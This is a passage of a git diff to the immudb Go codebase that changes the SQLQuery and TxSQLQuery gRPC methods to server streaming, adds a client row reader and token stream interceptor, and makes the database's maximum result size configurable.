ReplicateTx(ImmuService_ReplicateTxServer) error StreamExportTx(ImmuService_StreamExportTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) - SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) + SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) VerifiableSQLGet(context.Context, *VerifiableSQLGetRequest) (*VerifiableSQLEntry, error) @@ -1184,8 +1230,8 @@ func (UnimplementedImmuServiceServer) Rollback(context.Context, *emptypb.Empty) func (UnimplementedImmuServiceServer) TxSQLExec(context.Context, *SQLExecRequest) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method TxSQLExec not implemented") } -func (UnimplementedImmuServiceServer) TxSQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { - return nil, status.Errorf(codes.Unimplemented, "method TxSQLQuery not implemented") +func (UnimplementedImmuServiceServer) TxSQLQuery(*SQLQueryRequest, ImmuService_TxSQLQueryServer) error { + return status.Errorf(codes.Unimplemented, "method TxSQLQuery not implemented") } func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") @@ -1343,8 +1389,8 @@ func (UnimplementedImmuServiceServer) StreamExportTx(ImmuService_StreamExportTxS func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLExec not implemented") } -func (UnimplementedImmuServiceServer) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { - return nil, status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") +func (UnimplementedImmuServiceServer) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error { + return status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } func (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method ListTables not implemented") @@ -1622,22 +1668,25 @@ func _ImmuService_TxSQLExec_Handler(srv interface{}, ctx context.Context, dec fu return interceptor(ctx, in, info, handler) } -func _ImmuService_TxSQLQuery_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(SQLQueryRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceServer).TxSQLQuery(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schema.ImmuService/TxSQLQuery", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).TxSQLQuery(ctx, req.(*SQLQueryRequest)) +func _ImmuService_TxSQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error { + m := new(SQLQueryRequest) + if err := stream.RecvMsg(m); err != nil { + return err } - return interceptor(ctx, in, info, handler) + return srv.(ImmuServiceServer).TxSQLQuery(m, &immuServiceTxSQLQueryServer{stream}) +} + +type ImmuService_TxSQLQueryServer interface { + Send(*SQLQueryResult) error + grpc.ServerStream +} + +type immuServiceTxSQLQueryServer struct { + grpc.ServerStream +} + +func (x *immuServiceTxSQLQueryServer) Send(m *SQLQueryResult) error { + return x.ServerStream.SendMsg(m) } func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { @@ -2634,22 +2683,25 @@ func _ImmuService_SQLExec_Handler(srv interface{}, ctx context.Context, dec func return interceptor(ctx, in, info, handler) } -func _ImmuService_SQLQuery_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(SQLQueryRequest) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(ImmuServiceServer).SQLQuery(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: "/immudb.schema.ImmuService/SQLQuery", - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).SQLQuery(ctx, req.(*SQLQueryRequest)) +func _ImmuService_SQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error { + m := new(SQLQueryRequest) + if err := stream.RecvMsg(m); err != nil { + return err } - return interceptor(ctx, in, info, handler) + return srv.(ImmuServiceServer).SQLQuery(m, &immuServiceSQLQueryServer{stream}) +} + +type ImmuService_SQLQueryServer interface { + Send(*SQLQueryResult) error + grpc.ServerStream +} + +type immuServiceSQLQueryServer struct { + grpc.ServerStream +} + +func (x *immuServiceSQLQueryServer) Send(m *SQLQueryResult) error { + return x.ServerStream.SendMsg(m) } func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { @@ -2787,10 +2839,6 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ MethodName: "TxSQLExec", Handler: _ImmuService_TxSQLExec_Handler, }, - { - MethodName: "TxSQLQuery", - Handler: _ImmuService_TxSQLQuery_Handler, - }, { MethodName: "Login", Handler: _ImmuService_Login_Handler, @@ -2955,10 +3003,6 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ MethodName: "SQLExec", Handler: _ImmuService_SQLExec_Handler, }, - { - MethodName: "SQLQuery", - Handler: _ImmuService_SQLQuery_Handler, - }, { MethodName: "ListTables", Handler: _ImmuService_ListTables_Handler, @@ -2977,6 +3021,11 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ }, }, Streams: []grpc.StreamDesc{ + { + StreamName: "TxSQLQuery", + Handler: _ImmuService_TxSQLQuery_Handler, + ServerStreams: true, + }, { StreamName: "streamGet", Handler: _ImmuService_StreamGet_Handler, @@ -3033,6 +3082,11 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ ServerStreams: true, ClientStreams: true, }, + { + StreamName: "SQLQuery", + Handler: _ImmuService_SQLQuery_Handler, + ServerStreams: true, + }, }, Metadata: "schema.proto", } diff --git a/pkg/api/schema/sql.go b/pkg/api/schema/sql.go index 498f20f3cf..be1edd0439 100644 --- a/pkg/api/schema/sql.go +++ b/pkg/api/schema/sql.go @@ -20,6 +20,7 @@ import ( "time" "github.com/codenotary/immudb/embedded/sql" + "github.com/google/uuid" ) func EncodeParams(params map[string]interface{}) ([]*NamedParam, error) { @@ -43,6 +44,14 @@ func EncodeParams(params map[string]interface{}) ([]*NamedParam, error) { return namedParams, nil } +func NamedParamsFromProto(protoParams []*NamedParam) map[string]interface{} { + params := make(map[string]interface{}) + for _, p := range protoParams { + params[p.Name] = RawValue(p.Value) + } + return params +} + func asSQLValue(v interface{}) (*SQLValue, error) { if v == nil { return &SQLValue{Value: &SQLValue_Null{}}, nil @@ -111,3 +120,38 @@ func asSQLValue(v interface{}) (*SQLValue, error) { } return nil, sql.ErrInvalidValue } + +func TypedValueToRowValue(tv sql.TypedValue) *SQLValue { + switch tv.Type() { + case sql.IntegerType: + { + return &SQLValue{Value: &SQLValue_N{N: tv.RawValue().(int64)}} + } + case sql.VarcharType: + { + return &SQLValue{Value: &SQLValue_S{S: tv.RawValue().(string)}} + } + case sql.UUIDType: + { + u := tv.RawValue().(uuid.UUID) + return &SQLValue{Value: &SQLValue_S{S: u.String()}} + } + case sql.BooleanType: + { + return &SQLValue{Value: &SQLValue_B{B: tv.RawValue().(bool)}} + } + case sql.BLOBType: + { + return &SQLValue{Value: &SQLValue_Bs{Bs: tv.RawValue().([]byte)}} + } + case sql.TimestampType: + { + return &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} + } + case sql.Float64Type: + { + return &SQLValue{Value: &SQLValue_F{F: tv.RawValue().(float64)}} + } + } + return nil +} diff --git a/pkg/client/client.go b/pkg/client/client.go index 0f94d14bd1..a2d1f49001 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -492,9 +492,13 @@ type ImmuClient interface { // SQLQuery performs a query (read-only) operation. // + // Deprecated: use SQLQueryReader instead. // The renewSnapshot parameter is deprecated and is ignored by the server. SQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error) + // SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. + SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) + // ListTables returns a list of SQL tables. ListTables(ctx context.Context) (*schema.SQLQueryResult, error) @@ -709,7 +713,13 @@ func (c *immuClient) SetupDialOptions(options *Options) []grpc.DialOption { uic = append(uic, auth.ClientUnaryInterceptor(token)) if err == nil { // todo here is possible to remove ClientUnaryInterceptor and use only tokenInterceptor - opts = append(opts, grpc.WithStreamInterceptor(auth.ClientStreamInterceptor(token)), grpc.WithStreamInterceptor(c.SessionIDInjectorStreamInterceptor)) + opts = append(opts, grpc.WithStreamInterceptor( + grpc_middleware.ChainStreamClient( + c.TokenStreamInterceptor, + auth.ClientStreamInterceptor(token), + c.SessionIDInjectorStreamInterceptor, + )), + ) } } uic = append(uic, c.SessionIDInjectorInterceptor) diff --git a/pkg/client/sql.go b/pkg/client/sql.go index 4b042a994e..acd1e99a19 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -21,7 +21,7 @@ import ( "context" "crypto/sha256" "encoding/binary" - "time" + "io" "github.com/codenotary/immudb/pkg/client/errors" @@ -50,18 +50,55 @@ func (c *immuClient) SQLExec(ctx context.Context, sql string, params map[string] // SQLQuery performs a query (read-only) operation. // -// The renewSnapshot parameter is deprecated and is ignored by the server. +// Deprecated: Use method SQLQueryReader instead. +// +// The renewSnapshot parameter is deprecated and is ignored by the server. func (c *immuClient) SQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error) { if !c.IsConnected() { return nil, errors.FromError(ErrNotConnected) } - namedParams, err := schema.EncodeParams(params) + stream, err := c.sqlQuery(ctx, sql, params, false) if err != nil { return nil, err } - return c.ServiceClient.SQLQuery(ctx, &schema.SQLQueryRequest{Sql: sql, Params: namedParams, ReuseSnapshot: !renewSnapshot}) + res, err := stream.Recv() + if err != nil { + return nil, errors.FromError(err) + } + + if _, err := stream.Recv(); err != io.EOF { + return res, errors.FromError(err) + } + return res, nil +} + +// SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. +func (c *immuClient) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) { + if !c.IsConnected() { + return nil, errors.FromError(ErrNotConnected) + } + + stream, err := c.sqlQuery(ctx, sql, params, true) + if err != nil { + return nil, err + } + return newSQLQueryRowReader(stream) +} + +func (c *immuClient) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_SQLQueryClient, error) { + if !c.IsConnected() { + return nil, errors.FromError(ErrNotConnected) + } + + namedParams, err := schema.EncodeParams(params) + if err != nil { + return nil, errors.FromError(err) + } + + stream, err := c.ServiceClient.SQLQuery(ctx, &schema.SQLQueryRequest{Sql: sql, Params: namedParams, AcceptStream: acceptStream}) + return stream, errors.FromError(err) } // ListTables returns a list of SQL tables. @@ -328,43 +365,136 @@ func decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType, maxColID return nil, err } - values[colID] = typedValueToRowValue(val) + values[colID] = schema.TypedValueToRowValue(val) off += n } return values, nil } -func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { - switch tv.Type() { - case sql.IntegerType: - { - return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.RawValue().(int64)}} - } - case sql.VarcharType: - { - return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} - } - case sql.UUIDType: - { - return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} - } - case sql.BooleanType: - { - return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} - } - case sql.BLOBType: - { - return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.RawValue().([]byte)}} - } - case sql.TimestampType: - { - return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} - } - case sql.Float64Type: - { - return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.RawValue().(float64)}} - } +type Row []interface{} + +type Column struct { + Type string + Name string +} + +type SQLQueryRowReader interface { + // Columns returns the set of columns + Columns() []Column + + // Next() prepares the subsequent row for retrieval, indicating availability with a returned value of true. + // Any encountered IO errors will be deferred until subsequent calls to Read() or Close(), prompting the function to return false. + Next() bool + + // Read retrieves the current row as a slice of values. + // + // It's important to note that successive calls to Read() may recycle the same slice, necessitating copying to retain its contents. + Read() (Row, error) + + // Close closes the reader. Subsequent calls to Next() or Read() will return an error. + Close() error +} + +type rowReader struct { + stream schema.ImmuService_SQLQueryClient + + cols []Column + rows []*schema.Row + row Row + + nextRow int + closed bool + err error +} + +func newSQLQueryRowReader(stream schema.ImmuService_SQLQueryClient) (*rowReader, error) { + res, err := stream.Recv() + if err != nil { + return nil, errors.FromError(err) } - return nil + + return &rowReader{ + stream: stream, + rows: res.Rows, + row: make(Row, len(res.Columns)), + nextRow: -1, + cols: fromProtoCols(res.Columns), + }, nil +} + +func fromProtoCols(columns []*schema.Column) []Column { + cols := make([]Column, len(columns)) + for i, col := range columns { + cols[i] = Column{Type: col.Type, Name: col.Name} + } + return cols +} + +func (it *rowReader) Columns() []Column { + return it.cols +} + +func (it *rowReader) Next() bool { + if it.closed { + return false + } + + if it.nextRow+1 < len(it.rows) { + it.nextRow++ + return true + } + + if err := it.fetchRows(); err != nil { + it.err = err + return false + } + + it.nextRow = 0 + return true +} + +func (it *rowReader) Read() (Row, error) { + if it.closed { + return nil, sql.ErrAlreadyClosed + } + + if it.err != nil { + return nil, it.err + } + + protoRow := it.rows[it.nextRow] + for i, protoVal := range protoRow.Values { + val := schema.RawValue(protoVal) + it.row[i] = val + } + return it.row, nil +} + +func (it *rowReader) fetchRows() error { + res, err := it.stream.Recv() + if err == io.EOF { + return sql.ErrNoMoreRows + } + + if err == nil { + it.rows = res.Rows + } + return errors.FromError(err) +} + +func (it *rowReader) Close() error { + if it.closed { + return sql.ErrAlreadyClosed + } + + it.stream = nil + it.closed = true + it.rows = nil + it.nextRow = 0 + + if it.err == sql.ErrNoMoreRows { + return nil + } + return it.err } diff --git a/pkg/client/token_interceptor.go b/pkg/client/token_interceptor.go index 192c9ac7f4..e72e18b2ba 100644 --- a/pkg/client/token_interceptor.go +++ b/pkg/client/token_interceptor.go @@ -26,19 +26,35 @@ import ( // TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already func (c *immuClient) TokenInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { + ctx, err := c.appendTokenToOutgoingContext(ctx) + if err != nil { + return err + } + return invoker(ctx, method, req, reply, cc, opts...) +} + +// TokenInterceptor injects authentication token header to outgoing GRPC requests if it has not been set already +func (c *immuClient) TokenStreamInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { + ctx, err := c.appendTokenToOutgoingContext(ctx) + if err != nil { + return nil, err + } + return streamer(ctx, desc, cc, method, opts...) +} + +func (c *immuClient) appendTokenToOutgoingContext(ctx context.Context) (context.Context, error) { if md, ok := metadata.FromOutgoingContext(ctx); !ok || len(md.Get("authorization")) == 0 { present, err := c.Tkns.IsTokenPresent() if err != nil { - return err + return nil, err } if present { token, err := c.Tkns.GetToken() if err != nil { - return err + return nil, err } - ctx = metadata.AppendToOutgoingContext(ctx, "authorization", token) + return metadata.AppendToOutgoingContext(ctx, "authorization", token), nil } } - ris := invoker(ctx, method, req, reply, cc, opts...) - return ris + return ctx, nil } diff --git a/pkg/client/transaction.go b/pkg/client/transaction.go index 275f129448..0d66acfffc 100644 --- a/pkg/client/transaction.go +++ b/pkg/client/transaction.go @@ -18,6 +18,7 @@ package client import ( "context" + "io" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/errors" @@ -41,7 +42,12 @@ type Tx interface { SQLExec(ctx context.Context, sql string, params map[string]interface{}) error // SQLQuery performs a query (read-only) operation. + // + // Deprecated: use SQLQueryReader instead. SQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error) + + // SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set. + SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) } type tx struct { @@ -99,15 +105,40 @@ func (c *tx) SQLExec(ctx context.Context, sql string, params map[string]interfac } func (c *tx) SQLQuery(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLQueryResult, error) { + stream, err := c.sqlQuery(ctx, sql, params, false) + if err != nil { + return nil, err + } + res, err := stream.Recv() + if err != nil { + return nil, errors.FromError(err) + } + + if _, err := stream.Recv(); err != io.EOF { + return res, errors.FromError(err) + } + return res, nil +} + +func (c *tx) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) { + stream, err := c.sqlQuery(ctx, sql, params, true) + if err != nil { + return nil, err + } + return newSQLQueryRowReader(stream) +} + +func (c *tx) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_TxSQLQueryClient, error) { namedParams, err := schema.EncodeParams(params) if err != nil { return nil, errors.FromError(err) } - res, err := c.ic.ServiceClient.TxSQLQuery(c.populateCtx(ctx), &schema.SQLQueryRequest{ - Sql: sql, - Params: namedParams, + stream, err := c.ic.ServiceClient.TxSQLQuery(c.populateCtx(ctx), &schema.SQLQueryRequest{ + Sql: sql, + Params: namedParams, + AcceptStream: acceptStream, }) - return res, errors.FromError(err) + return stream, errors.FromError(err) } func (c *tx) GetTransactionID() string { diff --git a/pkg/database/database.go b/pkg/database/database.go index 4938693256..0f266455a7 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -108,9 +108,9 @@ type DB interface { InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) - SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) - SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) - SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) + SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) + SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) + SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) @@ -169,25 +169,25 @@ type db struct { } // OpenDB Opens an existing Database from disk -func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log logger.Logger) (DB, error) { +func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger) (DB, error) { if dbName == "" { return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } - log.Infof("opening database '%s' {replica = %v}...", dbName, op.replica) + log.Infof("opening database '%s' {replica = %v}...", dbName, opts.replica) var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication - if !op.replica && op.syncAcks > 0 { - replicaStates = make(map[string]*replicaState, op.syncAcks) + if !opts.replica && opts.syncAcks > 0 { + replicaStates = make(map[string]*replicaState, opts.syncAcks) } dbi := &db{ Logger: log, - options: op, + options: opts, name: dbName, replicaStates: replicaStates, - maxResultSize: MaxKeyScanLimit, + maxResultSize: opts.maxResultSize, mutex: &instrumentedRWMutex{}, } @@ -197,10 +197,10 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, fmt.Errorf("missing database directories: %s", dbDir) } - stOpts := op.GetStoreOptions(). + stOpts := opts.GetStoreOptions(). WithLogger(log). WithMultiIndexing(true). - WithExternalCommitAllowance(op.syncReplication) + WithExternalCommitAllowance(opts.syncReplication) dbi.st, err = store.Open(dbDir, stOpts) if err != nil { @@ -218,7 +218,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l } } - dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, op.replica) + dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) sqlOpts := sql.DefaultOptions(). WithPrefix([]byte{SQLPrefix}). @@ -226,29 +226,29 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { - dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, opts.replica, err) return nil, err } - dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, err } - dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, opts.replica) - txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) + txPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } dbi.txPool = txPool - if op.replica { - dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, op.replica) + if opts.replica { + dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, opts.replica) return dbi, nil } - dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, op.replica) + dbi.Logger.Infof("database '%s' {replica = %v} successfully opened", dbName, opts.replica) return dbi, nil } @@ -270,29 +270,29 @@ func (d *db) releaseTx(tx *store.Tx) { } // NewDB Creates a new Database along with it's directories and files -func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log logger.Logger) (DB, error) { +func NewDB(dbName string, multidbHandler sql.MultiDBHandler, opts *Options, log logger.Logger) (DB, error) { if dbName == "" { return nil, fmt.Errorf("%w: invalid database name provided '%s'", ErrIllegalArguments, dbName) } - log.Infof("creating database '%s' {replica = %v}...", dbName, op.replica) + log.Infof("creating database '%s' {replica = %v}...", dbName, opts.replica) var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication - if !op.replica && op.syncAcks > 0 { - replicaStates = make(map[string]*replicaState, op.syncAcks) + if !opts.replica && opts.syncAcks > 0 { + replicaStates = make(map[string]*replicaState, opts.syncAcks) } dbi := &db{ Logger: log, - options: op, + options: opts, name: dbName, replicaStates: replicaStates, - maxResultSize: MaxKeyScanLimit, + maxResultSize: opts.maxResultSize, mutex: &instrumentedRWMutex{}, } - dbDir := filepath.Join(op.GetDBRootPath(), dbName) + dbDir := filepath.Join(opts.GetDBRootPath(), dbName) _, err := os.Stat(dbDir) if err == nil { @@ -303,8 +303,8 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "unable to create data folder: %s", err) } - stOpts := op.GetStoreOptions(). - WithExternalCommitAllowance(op.syncReplication). + stOpts := opts.GetStoreOptions(). + WithExternalCommitAllowance(opts.syncReplication). WithMultiIndexing(true). WithLogger(log) @@ -324,7 +324,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo } } - txPool, err := dbi.st.NewTxHolderPool(op.readTxPoolSize, false) + txPool, err := dbi.st.NewTxHolderPool(opts.readTxPoolSize, false) if err != nil { return nil, logErr(dbi.Logger, "unable to create tx pool: %s", err) } @@ -334,22 +334,22 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo WithPrefix([]byte{SQLPrefix}). WithMultiDBHandler(multidbHandler) - dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, op.replica) + dbi.Logger.Infof("loading sql-engine for database '%s' {replica = %v}...", dbName, opts.replica) dbi.sqlEngine, err = sql.NewEngine(dbi.st, sqlOpts) if err != nil { - dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) + dbi.Logger.Errorf("unable to load sql-engine for database '%s' {replica = %v}. %v", dbName, opts.replica, err) return nil, err } - dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("sql-engine ready for database '%s' {replica = %v}", dbName, opts.replica) dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("document-engine ready for database '%s' {replica = %v}", dbName, opts.replica) - dbi.Logger.Infof("database '%s' successfully created {replica = %v}", dbName, op.replica) + dbi.Logger.Infof("database '%s' successfully created {replica = %v}", dbName, opts.replica) return dbi, nil } diff --git a/pkg/database/dboptions.go b/pkg/database/dboptions.go index 5406d50d8b..744453fd2b 100644 --- a/pkg/database/dboptions.go +++ b/pkg/database/dboptions.go @@ -39,6 +39,7 @@ type Options struct { syncAcks int // only if !replica readTxPoolSize int + maxResultSize int // TruncationFrequency determines how frequently to truncate data from the database. TruncationFrequency time.Duration @@ -52,6 +53,7 @@ func DefaultOption() *Options { return &Options{ dbRootPath: DefaultDbRootPath, storeOpts: store.DefaultOptions(), + maxResultSize: MaxKeyScanLimit, readTxPoolSize: DefaultReadTxPoolSize, TruncationFrequency: DefaultTruncationFrequency, } @@ -113,3 +115,8 @@ func (o *Options) WithRetentionPeriod(c time.Duration) *Options { o.RetentionPeriod = c return o } + +func (o *Options) WithMaxResultSize(maxResultSize int) *Options { + o.maxResultSize = maxResultSize + return o +} diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index 248f5d0124..91ae1767d9 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -121,8 +121,9 @@ func TestSwitchToReplica(t *testing.T) { _, err = replica.DescribeTable(context.Background(), nil, "mytable") require.NoError(t, err) - _, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) + reader, err := replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) require.NoError(t, err) + require.NoError(t, reader.Close()) _, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ diff --git a/pkg/database/sql.go b/pkg/database/sql.go index e723286a74..77f8cf73d7 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -21,13 +21,10 @@ import ( "context" "fmt" "strings" - "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" - - "github.com/google/uuid" ) func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { @@ -365,7 +362,7 @@ func (d *db) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQL return d.sqlEngine.ExecPreparedStmts(ctx, tx, stmts, params) } -func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { +func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { if req == nil { return nil, ErrIllegalArguments } @@ -379,82 +376,23 @@ func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRe if !ok { return nil, sql.ErrExpectingDQLStmt } - - return d.SQLQueryPrepared(ctx, tx, stmt, req.Params) -} - -func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) { - params := make(map[string]interface{}) - - for _, p := range namedParams { - params[p.Name] = schema.RawValue(p.Value) - } - - r, err := d.SQLQueryRowReader(ctx, tx, stmt, params) - if err != nil { - return nil, err + reader, err := d.SQLQueryPrepared(ctx, tx, stmt, schema.NamedParamsFromProto(req.Params)) + if !req.AcceptStream { + reader = &limitRowReader{RowReader: reader, maxRows: d.maxResultSize} } - defer r.Close() + return reader, err +} - colDescriptors, err := r.Columns(ctx) +func (d *db) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { + reader, err := d.SQLQuery(ctx, tx, req) if err != nil { return nil, err } - - cols := make([]*schema.Column, len(colDescriptors)) - - for i, c := range colDescriptors { - des := &sql.ColDescriptor{ - AggFn: c.AggFn, - Table: c.Table, - Column: c.Column, - Type: c.Type, - } - cols[i] = &schema.Column{Name: des.Selector(), Type: des.Type} - } - - res := 